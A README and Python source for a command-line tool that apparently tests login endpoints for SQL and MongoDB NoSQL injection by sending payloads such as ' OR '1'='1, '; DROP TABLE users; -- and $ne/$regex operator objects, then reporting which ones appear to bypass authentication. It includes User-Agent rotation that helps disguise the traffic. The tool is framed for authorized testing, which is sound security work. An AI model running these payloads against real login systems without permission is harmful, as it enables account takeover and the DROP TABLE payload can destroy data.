README.md

Injection Probe CLI README

This document explains how to run injection_probe.py from the command line and how to map custom request fields used by your own backend login form.

Pre-Run Checklist

Before running the probe, confirm these 5 items:

1. You have explicit authorization to test this target.
2. The URL points to the real login endpoint (action target), not just the page URL.
3. You know the form method and set matching transport (POST/GET form -> --transport form, JSON API -> --transport json).
4. You mapped the correct identity and secret fields (--username-field, --password-field).
5. If authentication middleware is in front, required headers/session values are included (for example with --header).

Recommended Workflow (Practical)

This workflow is based on the most useful pattern from common SQL injection scanners: extract form metadata first, then test the right fields.

1. Open the login page in your browser and inspect the form.
2. Confirm these details:

• Form action endpoint (for example /login)
• Form method (POST or GET)
• Input field names (for example username, password, email, passphrase)

3. Run this tool with matching field names and transport.
4. Start with summary output, then use --table only when you need full detail.
5. Filter to meaningful status codes with --result-status (for example 200,302) to focus on likely bypass behavior.

Why this helps:

• Correct field names and method selection dramatically reduce false negatives.
• It mirrors how scanners that parse forms (BeautifulSoup-style extraction) prepare requests before payload testing.

What This Script Does

injection_probe.py sends baseline and crafted login payloads to a login endpoint and reports signals that may indicate weak SQL injection or MongoDB NoSQL injection handling.

It probes both username and password fields. For MongoDB-specific checks, it includes payloads equivalent to username[$ne]=1 and password[$ne]=1 for form requests and object-operator payloads for JSON requests.

It is a heuristic probe, not a formal penetration test.

Safety and Authorization

Use this only on systems you own or where you have explicit permission.

The CLI requires --authorized so it does not run by accident.

Requirements

• Python 3.9+
• requests

Install dependency:

python3 -m pip install requests

Basic Usage

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "attendant" \
  --authorized

If your backend is vulnerable to bracket-style payload parsing, run in form mode to send probes such as username[$ne]=1 and password[$ne]=1:

python3 injection_probe.py \
  --url "http://10.112.190.6/login" \
  --user-account "attendant" \
  --transport form \
  --authorized \
  --pretty

CLI Arguments

• --url (required): Login endpoint URL.
• --user-account (required): Username or account value to test.
• --authorized (required flag to execute): Confirms you are permitted to test.
• --password (optional, default: invalid-password-for-probe): Password sent in probe requests.
• --transport (optional, default: json): json or form request body.
• --username-field (optional, default: username): Name of the username field sent in request body.
• --password-field (optional, default: password): Name of the password field sent in request body.
• --timeout (optional, default: 10): Timeout in seconds.
• --header (optional, repeatable): Extra header in Key:Value format.
• --rotate-user-agents (optional): Rotate through User-Agents for each request.
• --user-agent (optional, repeatable): Provide your own User-Agent values; if set with --rotate-user-agents, these are used as the rotation pool.
• --ua-browser (optional, default: random): Browser family preference for fake-useragent rotation. Values: random, chrome, firefox, safari, edge.
• --table (optional): Full CLI grid table output with all findings.
• --json (optional): Compact JSON output.
• --pretty (optional): Pretty JSON output.
• --result-status (optional, repeatable): Only show findings with selected HTTP status codes. Example: --result-status 200,302.

If no output flag is provided, output defaults to a compact summary view using a HashSight-style fixed-width terminal table.

Note on MongoDB probes:

• --transport json includes payloads like { "password": { "$ne": "1" } }.
• --transport json also includes bracket-key variants for username/password to catch permissive parsers.
• --transport form includes payloads like username[$ne]=1 and password[$ne]=1.

Interpretation note:

• A vulnerable login endpoint typically shows a behavioral change (for example a success, token, redirect, or different status code) when an operator payload is used.
• This probe does not dump all users/passwords. If data is returned, that indicates a separate endpoint/query exposure issue, not normal login behavior.

Custom Field Mapping

If your backend expects field names other than username and password, pass your own names.

Example: backend expects email and passphrase:

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "staff@bytelotus.com" \
  --username-field "email" \
  --password-field "passphrase" \
  --transport form \
  --authorized

How Discovered Fields Are Selected and Used

When you discover fields from a form, map them into this tool like this:

1. Choose the two authentication fields:
   • Identity field: username/email/staffId/etc. -> --username-field
   • Secret field: password/passphrase/pin/etc. -> --password-field
2. Match the submission encoding:
   • HTML form submit (application/x-www-form-urlencoded) -> --transport form
   • JSON API login endpoint -> --transport json
3. Keep non-auth fields fixed using --header or backend defaults (for example CSRF/session headers if required).
4. Provide a valid-looking account value via --user-account so probe behavior resembles real login flow.

Field selection rules (recommended):

• Include fields with names like user, username, email, login, staffId, account as identity candidates.
• Include fields like pass, password, passphrase, pin as secret candidates.
• Do not map submit button names as auth fields.
• Hidden fields (CSRF, nonce, token) are support fields; keep them valid if your endpoint requires them.

Quick examples:

Form uses email + passphrase:

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "staff@bytelotus.com" \
  --username-field email \
  --password-field passphrase \
  --transport form \
  --authorized

API uses staffId + pin in JSON:

python3 injection_probe.py \
  --url "https://api.your-app.com/auth/login" \
  --user-account "CABANA-207" \
  --username-field staffId \
  --password-field pin \
  --transport json \
  --authorized

Example: backend expects guestId and pin:

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "CABANA-207" \
  --username-field "guestId" \
  --password-field "pin" \
  --transport json \
  --authorized

Adding Custom Headers

Use --header multiple times.

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "attendant" \
  --header "Authorization: Bearer YOUR_TOKEN" \
  --header "X-Tenant: bytelotus" \
  --authorized

User-Agent Rotation

Enable rotation (defaults to fake-useragent source):

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "attendant" \
  --authorized \
  --rotate-user-agents

Use your own User-Agent pool:

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "attendant" \
  --authorized \
  --rotate-user-agents \
  --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" \
  --user-agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15"

Use fake-useragent rotation:

python3 -m pip install fake-useragent

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "attendant" \
  --authorized \
  --rotate-user-agents \
  --ua-browser chrome

If fake-useragent is not available at runtime, the script returns an error. You can still run by passing explicit --user-agent values.

Output Modes

Summary output (default):

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "attendant" \
  --authorized

The summary includes a "Worked Vulnerabilities" section that only lists payloads that triggered a positive vulnerability signal.

Full findings table output:

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "attendant" \
  --authorized \
  --table

Only show selected status codes (for example 200 and 302):

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "attendant" \
  --authorized \
  --result-status 200,302

Pretty JSON (human readable):

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "attendant" \
  --authorized \
  --pretty

Compact JSON (for scripts/CI):

python3 injection_probe.py \
  --url "https://your-app.com/login" \
  --user-account "attendant" \
  --authorized \
  --json

Common Troubleshooting

• Error: missing --authorized

  • Add --authorized only when you have explicit permission.

• HTTP timeout errors

  • Increase timeout, for example: --timeout 30.

• Wrong field names

  • Match your API contract using --username-field and --password-field.

• Backend expects form data, not JSON

  • Set --transport form.

Example for Your Login Form

Given your form inputs are named username and password, this is sufficient:

python3 injection_probe.py \
  --url "https://your-host/login" \
  --user-account "attendant" \
  --authorized

If your server later renames them, only update flags:

python3 injection_probe.py \
  --url "https://your-host/login" \
  --user-account "attendant" \
  --username-field "staffId" \
  --password-field "passphrase" \
  --authorized

injection_probe.py

from __future__ import annotations
from dataclasses import dataclass, asdict
from typing import Any, Dict, List, Optional, Tuple
import argparse
from itertools import cycle
import json
import os
import re
import sys

import requests


@dataclass
class ProbeCaseResult:
    name: str
    payload: Any
    status_code: Optional[int]
    suspected: bool
    reason: str
    error: Optional[str] = None


@dataclass
class InjectionProbeReport:
    url: str
    username_field: str
    password_field: str
    transport: str
    baseline_status_code: Optional[int]
    baseline_denied: Optional[bool]
    vulnerable: bool
    findings: List[ProbeCaseResult]


GREEN = "\033[32m"
YELLOW = "\033[33m"
CYAN = "\033[36m"
RED = "\033[31m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"

_ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")


def _build_fake_user_agent_pool(browser: str, pool_size: int = 5) -> Tuple[List[str], Optional[str]]:
    try:
        from fake_useragent import UserAgent  # type: ignore
    except Exception as ex:  # pragma: no cover - depends on optional dependency
        return [], f"fake-useragent unavailable ({ex})"

    try:
        ua = UserAgent()
        seen = set()
        out: List[str] = []
        attr = browser.lower().strip() if browser else "random"
        if attr not in {"random", "chrome", "firefox", "safari", "edge"}:
            attr = "random"

        while len(out) < pool_size:
            value = ua.random if attr == "random" else getattr(ua, attr)
            if value and value not in seen:
                seen.add(value)
                out.append(value)

            # Safety break if library keeps returning duplicates.
            if len(seen) > 100:
                break

        if not out:
            return [], "fake-useragent returned no values"

        return out, None
    except Exception as ex:  # pragma: no cover - runtime/library dependent
        return [], f"fake-useragent failed ({ex})"


def _looks_denied(status_code: int, body_text: str) -> bool:
    if status_code in (400, 401, 403):
        return True

    deny_markers = [
        "invalid credentials",
        "invalid username",
        "invalid password",
        "unauthorized",
        "forbidden",
        "authentication failed",
        "login failed",
    ]
    lowered = body_text.lower()
    return any(marker in lowered for marker in deny_markers)


def _looks_success(status_code: int, body_text: str, response_headers: Dict[str, str]) -> bool:
    if status_code in (200, 201, 204):
        success_markers = [
            "welcome",
            "dashboard",
            "login successful",
            "access token",
            "jwt",
        ]
        lowered = body_text.lower()
        if any(marker in lowered for marker in success_markers):
            return True

        if re.search(r'"token"\s*:\s*"[A-Za-z0-9\-\._]+"', body_text):
            return True

    if status_code in (301, 302, 303, 307, 308):
        location = response_headers.get("Location", "")
        if any(k in location.lower() for k in ("dashboard", "home", "account", "profile")):
            return True

    if "set-cookie" in {k.lower() for k in response_headers.keys()} and status_code in (200, 302, 303):
        return True

    return False


def _build_cases(username_field: str, password_field: str, user_account: str, password: str, transport: str) -> List[Tuple[str, Dict[str, Any]]]:
    sql_payloads = [
        "' OR '1'='1",
        "admin' --",
        "' UNION SELECT NULL --",
        "'; DROP TABLE users; --",
    ]

    nosql_string_payloads = [
        '{"$ne": null}',
        '{"$regex": ".*"}',
        '{"$where": "return true"}',
    ]

    cases: List[Tuple[str, Dict[str, Any]]] = []

    # Username-focused probes.
    for payload in sql_payloads:
        cases.append(
            (
                "sql_username",
                {username_field: payload, password_field: password},
            )
        )

    for payload in nosql_string_payloads:
        cases.append(
            (
                "nosql_string_username",
                {username_field: payload, password_field: password},
            )
        )

    # JSON object operator probes.
    if transport == "json":
        cases.extend(
            [
                (
                    "nosql_object_username",
                    {username_field: {"$ne": None}, password_field: password},
                ),
                (
                    "nosql_object_username",
                    {username_field: {"$regex": ".*"}, password_field: password},
                ),
                (
                    "nosql_object_password",
                    {username_field: user_account, password_field: {"$ne": "1"}},
                ),
                (
                    "nosql_object_password",
                    {username_field: user_account, password_field: {"$regex": ".*"}},
                ),
                # Some body parsers accept bracket keys even in JSON payloads.
                (
                    "nosql_bracket_password",
                    {username_field: user_account, f"{password_field}[$ne]": "1"},
                ),
                (
                    "nosql_bracket_username",
                    {f"{username_field}[$ne]": "1", password_field: password},
                ),
            ]
        )

    # Form bracket operator probes (password[$ne]=1 style).
    if transport == "form":
        cases.extend(
            [
                (
                    "nosql_bracket_password",
                    {username_field: user_account, f"{password_field}[$ne]": "1"},
                ),
                (
                    "nosql_bracket_password",
                    {username_field: user_account, f"{password_field}[$regex]": ".*"},
                ),
                (
                    "nosql_bracket_username",
                    {f"{username_field}[$ne]": "1", password_field: password},
                ),
                (
                    "nosql_bracket_username",
                    {f"{username_field}[$regex]": ".*", password_field: password},
                ),
            ]
        )

    return cases


def validate_backend_injection_protection(
    url: str,
    user_account: str,
    password: str = "invalid-password-for-probe",
    username_field: str = "username",
    password_field: str = "password",
    transport: str = "json",
    timeout_seconds: int = 10,
    authorized: bool = False,
    extra_headers: Optional[Dict[str, str]] = None,
    rotate_user_agents: bool = False,
    custom_user_agents: Optional[List[str]] = None,
    ua_browser: str = "random",
) -> Dict[str, Any]:
    if not authorized:
        raise ValueError(
            "Refusing to run probe without explicit authorization. "
            "Pass --authorized only for systems you are permitted to test."
        )

    if transport not in {"json", "form"}:
        raise ValueError("transport must be either 'json' or 'form'")

    session = requests.Session()
    headers = dict(extra_headers or {})
    warnings: List[str] = []

    if custom_user_agents:
        user_agents = custom_user_agents
        effective_ua_source = "custom"
    else:
        user_agents, warning = _build_fake_user_agent_pool(ua_browser)
        if not user_agents:
            raise RuntimeError(
                "Unable to build User-Agent pool from fake-useragent. "
                "Install it with: python3 -m pip install fake-useragent "
                "or provide one or more --user-agent values."
            )
        if warning:
            warnings.append(warning)
        effective_ua_source = "fake-useragent"

    ua_cycle = cycle(user_agents) if rotate_user_agents and user_agents else None

    def send(body: Dict[str, Any]) -> requests.Response:
        request_headers = dict(headers)
        if ua_cycle is not None:
            request_headers["User-Agent"] = next(ua_cycle)
        if transport == "json":
            return session.post(url, json=body, headers=request_headers, timeout=timeout_seconds)
        return session.post(url, data=body, headers=request_headers, timeout=timeout_seconds)

    baseline_status: Optional[int] = None
    baseline_denied: Optional[bool] = None

    baseline_body = {
        username_field: user_account,
        password_field: password,
    }

    try:
        baseline = send(baseline_body)
        baseline_status = baseline.status_code
        baseline_denied = _looks_denied(baseline.status_code, baseline.text or "")
    except requests.RequestException as ex:
        report = InjectionProbeReport(
            url=url,
            username_field=username_field,
            password_field=password_field,
            transport=transport,
            baseline_status_code=None,
            baseline_denied=None,
            vulnerable=True,
            findings=[
                ProbeCaseResult(
                    name="baseline",
                    payload=baseline_body,
                    status_code=None,
                    suspected=True,
                    reason="Baseline request failed; cannot assess safely.",
                    error=str(ex),
                )
            ],
        )
        return asdict(report)

    findings: List[ProbeCaseResult] = []
    cases = _build_cases(username_field, password_field, user_account, password, transport)

    for case_name, body in cases:
        try:
            response = send(body)
            denied = _looks_denied(response.status_code, response.text or "")
            success = _looks_success(response.status_code, response.text or "", dict(response.headers))

            suspected = False
            reason = "No clear vulnerability signal."

            if response.status_code >= 500:
                suspected = True
                reason = f"Server error {response.status_code} on crafted input."
            elif baseline_denied is True and success:
                suspected = True
                reason = "Crafted input appears to bypass denied baseline."
            elif baseline_status is not None and response.status_code != baseline_status and not denied:
                suspected = True
                reason = f"Behavior differs from baseline ({baseline_status} -> {response.status_code})."

            findings.append(
                ProbeCaseResult(
                    name=case_name,
                    payload=body,
                    status_code=response.status_code,
                    suspected=suspected,
                    reason=reason,
                )
            )
        except requests.RequestException as ex:
            findings.append(
                ProbeCaseResult(
                    name=case_name,
                    payload=body,
                    status_code=None,
                    suspected=True,
                    reason="Request failed during probe.",
                    error=str(ex),
                )
            )

    report = InjectionProbeReport(
        url=url,
        username_field=username_field,
        password_field=password_field,
        transport=transport,
        baseline_status_code=baseline_status,
        baseline_denied=baseline_denied,
        vulnerable=any(f.suspected for f in findings),
        findings=findings,
    )
    out = asdict(report)
    out["rotate_user_agents"] = rotate_user_agents
    out["ua_source"] = effective_ua_source
    if rotate_user_agents:
        out["user_agent_pool_size"] = len(user_agents)
    if warnings:
        out["warnings"] = warnings
    return out


def parse_headers(header_args: List[str]) -> Dict[str, str]:
    headers: Dict[str, str] = {}
    for raw in header_args:
        if ":" not in raw:
            raise ValueError(f"Invalid --header value: {raw}. Expected format Key:Value")
        key, value = raw.split(":", 1)
        key = key.strip()
        value = value.strip()
        if not key:
            raise ValueError(f"Invalid --header value: {raw}. Header name cannot be empty")
        headers[key] = value
    return headers


def _safe_cell(value: Any, max_len: int = 64) -> str:
    text = str(value)
    text = text.replace("\n", " ").strip()
    if len(text) > max_len:
        return text[: max_len - 3] + "..."
    return text


def colors_enabled() -> bool:
    return sys.stdout.isatty() and os.environ.get("NO_COLOR") is None


def paint(text: str, *codes: str, enabled: bool) -> str:
    if not enabled or not codes:
        return text
    return "".join(codes) + text + RESET


def _display_len(value: str) -> int:
    return len(_ANSI_RE.sub("", value))


def _pad_cell(value: str, width: int) -> str:
    pad = max(0, width - _display_len(value))
    return value + (" " * pad)


def _render_grid_table(headers: List[str], rows: List[List[str]]) -> str:
    widths = [_display_len(h) for h in headers]
    for row in rows:
        if not row or all(cell == "" for cell in row):
            continue
        for i, cell in enumerate(row):
            widths[i] = max(widths[i], _display_len(cell))

    def _line(parts: List[str]) -> str:
        if not parts or all(cell == "" for cell in parts):
            return ""
        return " | ".join(_pad_cell(parts[i], widths[i]) for i in range(len(parts)))

    divider = "-+-".join("-" * w for w in widths)
    lines = [_line(headers), divider]
    for row in rows:
        lines.append(_line(row))
    return "\n".join(lines)


def parse_result_statuses(values: List[str]) -> Optional[List[int]]:
    if not values:
        return None

    parsed: List[int] = []
    seen = set()
    for raw in values:
        for token in raw.split(","):
            token = token.strip()
            if not token:
                continue
            try:
                code = int(token)
            except ValueError as ex:
                raise ValueError(f"Invalid status code in --result-status: {token}") from ex
            if code < 100 or code > 599:
                raise ValueError(f"Status code out of range in --result-status: {code}")
            if code not in seen:
                seen.add(code)
                parsed.append(code)

    if not parsed:
        return None
    return sorted(parsed)


def filter_report_findings(report: Dict[str, Any], allowed_statuses: Optional[List[int]]) -> Dict[str, Any]:
    out = dict(report)
    findings = list(report.get("findings", []))
    out["total_findings"] = len(findings)

    if allowed_statuses is None:
        out["filtered_statuses"] = None
        out["shown_findings"] = len(findings)
        out["findings"] = findings
        return out

    status_set = set(allowed_statuses)
    shown = [f for f in findings if f.get("status_code") in status_set]

    out["filtered_statuses"] = allowed_statuses
    out["shown_findings"] = len(shown)
    out["findings"] = shown
    out["vulnerable_in_view"] = any(bool(f.get("suspected")) for f in shown)
    return out


def render_cli_tables(report: Dict[str, Any]) -> str:
    color_enabled = colors_enabled()

    def _vuln_text(is_suspected: bool) -> str:
        if is_suspected:
            return paint("YES", BOLD, RED, enabled=color_enabled)
        return paint("NO", GREEN, enabled=color_enabled)

    summary_rows = [
        [
            _safe_cell(report.get("url", ""), 120),
            _safe_cell(report.get("transport", ""), 8),
            _safe_cell(report.get("baseline_status_code", ""), 6),
            _safe_cell(report.get("baseline_denied", ""), 6),
            _vuln_text(bool(report.get("vulnerable", False))),
            _safe_cell(f"{report.get('shown_findings', 0)}/{report.get('total_findings', 0)}", 16),
            _safe_cell(report.get("filtered_statuses", "all"), 32),
        ]
    ]
    summary = _render_grid_table(
        [
            "URL",
            "Transport",
            "Baseline",
            "Denied",
            "Vulnerable",
            "Findings",
            "Status Filter",
        ],
        summary_rows,
    )

    finding_rows: List[List[str]] = []
    for finding in report.get("findings", []):
        payload = finding.get("payload")
        if isinstance(payload, (dict, list)):
            payload_text = json.dumps(payload, separators=(",", ":"))
        else:
            payload_text = str(payload)

        finding_rows.append(
            [
                _safe_cell(finding.get("name", ""), 24),
                _safe_cell(payload_text, 80),
                _safe_cell(finding.get("status_code", ""), 6),
                _vuln_text(bool(finding.get("suspected"))),
                _safe_cell(finding.get("reason", ""), 88),
            ]
        )

    if not finding_rows:
        finding_rows = [["(no matching findings)", "", "", "", ""]]

    findings = _render_grid_table(["Case", "Payload", "Status", "Worked", "Reason"], finding_rows)

    worked_rows: List[List[str]] = []
    for finding in report.get("findings", []):
        if not finding.get("suspected"):
            continue
        payload = finding.get("payload")
        if isinstance(payload, (dict, list)):
            payload_text = json.dumps(payload, separators=(",", ":"))
        else:
            payload_text = str(payload)
        worked_rows.append(
            [
                _safe_cell(finding.get("name", ""), 24),
                _safe_cell(payload_text, 80),
                _safe_cell(finding.get("status_code", ""), 6),
                _safe_cell(finding.get("reason", ""), 88),
            ]
        )

    if not worked_rows:
        worked_rows = [[paint("None", DIM, enabled=color_enabled), "", "", "No payload bypass detected in this run."]]

    worked = _render_grid_table(["Case", "Payload", "Status", "Why It Worked"], worked_rows)
    return "Summary\n" + summary + "\n\nFindings\n" + findings + "\n\nWorked Vulnerabilities\n" + worked


def render_cli_summary(report: Dict[str, Any]) -> str:
    color_enabled = colors_enabled()

    def _vuln_text(is_suspected: bool) -> str:
        if is_suspected:
            return paint("YES", BOLD, RED, enabled=color_enabled)
        return paint("NO", GREEN, enabled=color_enabled)

    summary_rows = [
        [
            _safe_cell(report.get("url", ""), 80),
            _safe_cell(report.get("transport", ""), 8),
            _safe_cell(report.get("baseline_status_code", ""), 6),
            _safe_cell(report.get("baseline_denied", ""), 6),
            _vuln_text(bool(report.get("vulnerable", False))),
            _safe_cell(f"{report.get('shown_findings', 0)}/{report.get('total_findings', 0)}", 16),
            _safe_cell(report.get("filtered_statuses", "all"), 24),
        ]
    ]
    summary = _render_grid_table(
        ["URL", "Transport", "Baseline", "Denied", "Vulnerable", "Shown/Total", "Status Filter"],
        summary_rows,
    )

    status_counts: Dict[str, int] = {}
    suspected_by_status: Dict[str, int] = {}
    for finding in report.get("findings", []):
        code = finding.get("status_code")
        key = "none" if code is None else str(code)
        status_counts[key] = status_counts.get(key, 0) + 1
        if finding.get("suspected"):
            suspected_by_status[key] = suspected_by_status.get(key, 0) + 1

    status_rows: List[List[str]] = []
    for key in sorted(status_counts.keys(), key=lambda x: (x == "none", x)):
        status_rows.append(
            [
                key,
                str(status_counts[key]),
                str(suspected_by_status.get(key, 0)),
            ]
        )

    if not status_rows:
        status_rows = [["(none)", "0", "0"]]

    by_status = _render_grid_table(["Status", "Count", "Suspected"], status_rows)

    worked_rows: List[List[str]] = []
    for finding in report.get("findings", []):
        if not finding.get("suspected"):
            continue
        payload = finding.get("payload")
        if isinstance(payload, (dict, list)):
            payload_text = json.dumps(payload, separators=(",", ":"))
        else:
            payload_text = str(payload)
        worked_rows.append(
            [
                _safe_cell(finding.get("name", ""), 24),
                _safe_cell(payload_text, 72),
                _safe_cell(finding.get("status_code", ""), 6),
            ]
        )

    if not worked_rows:
        worked_rows = [[paint("None", DIM, enabled=color_enabled), "No successful payload in current view.", "-"]]

    worked = _render_grid_table(["Worked Case", "Payload", "Status"], worked_rows)
    return "Summary\n" + summary + "\n\nStatus Breakdown\n" + by_status + "\n\nWorked Vulnerabilities\n" + worked


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        description="Probe a login endpoint for SQL and MongoDB NoSQL injection protection."
    )
    parser.add_argument("--url", required=True, help="Login endpoint URL (required).")
    parser.add_argument("--user-account", required=True, help="Username/account to test (required).")
    parser.add_argument(
        "--password",
        default="invalid-password-for-probe",
        help="Password to send during probes (default: invalid-password-for-probe).",
    )
    parser.add_argument(
        "--transport",
        choices=["json", "form"],
        default="json",
        help="Request body type (default: json).",
    )
    parser.add_argument(
        "--username-field",
        default="username",
        help="Username field name in request body (default: username).",
    )
    parser.add_argument(
        "--password-field",
        default="password",
        help="Password field name in request body (default: password).",
    )
    parser.add_argument(
        "--timeout",
        type=int,
        default=10,
        help="HTTP timeout in seconds (default: 10).",
    )
    parser.add_argument(
        "--header",
        action="append",
        default=[],
        help="Extra header in Key:Value format. Can be repeated.",
    )
    parser.add_argument(
        "--authorized",
        action="store_true",
        help="Required safety flag to confirm you are authorized to test this target.",
    )
    parser.add_argument(
        "--rotate-user-agents",
        action="store_true",
        help="Rotate through a recent User-Agent pool on each request.",
    )
    parser.add_argument(
        "--user-agent",
        action="append",
        default=[],
        help="Custom User-Agent value. Repeat to build your own rotation pool.",
    )
    parser.add_argument(
        "--ua-browser",
        choices=["random", "chrome", "firefox", "safari", "edge"],
        default="random",
        help="Preferred browser family for fake-useragent rotation (default: random).",
    )

    output_group = parser.add_mutually_exclusive_group()
    output_group.add_argument("--json", action="store_true", help="Output compact JSON.")
    output_group.add_argument("--pretty", action="store_true", help="Output pretty JSON.")
    output_group.add_argument("--table", action="store_true", help="Output full CLI table with all findings.")

    parser.add_argument(
        "--result-status",
        action="append",
        default=[],
        help="Only show findings with these HTTP status codes. Example: --result-status 200,302",
    )

    return parser


def main() -> int:
    parser = build_parser()
    args = parser.parse_args()

    if args.timeout <= 0:
        print("Error: --timeout must be > 0", file=sys.stderr)
        return 2

    try:
        headers = parse_headers(args.header)
        result_statuses = parse_result_statuses(args.result_status)
        report = validate_backend_injection_protection(
            url=args.url,
            user_account=args.user_account,
            password=args.password,
            username_field=args.username_field,
            password_field=args.password_field,
            transport=args.transport,
            timeout_seconds=args.timeout,
            authorized=args.authorized,
            extra_headers=headers or None,
            rotate_user_agents=args.rotate_user_agents,
            custom_user_agents=args.user_agent or None,
            ua_browser=args.ua_browser,
        )
        report = filter_report_findings(report, result_statuses)
    except Exception as ex:
        print(f"Error: {ex}", file=sys.stderr)
        return 1

    if args.json:
        print(json.dumps(report, separators=(",", ":")))
    elif args.pretty:
        print(json.dumps(report, indent=2))
    elif args.table:
        print(render_cli_tables(report))
    else:
        print(render_cli_summary(report))

    return 0


if __name__ == "__main__":
    raise SystemExit(main())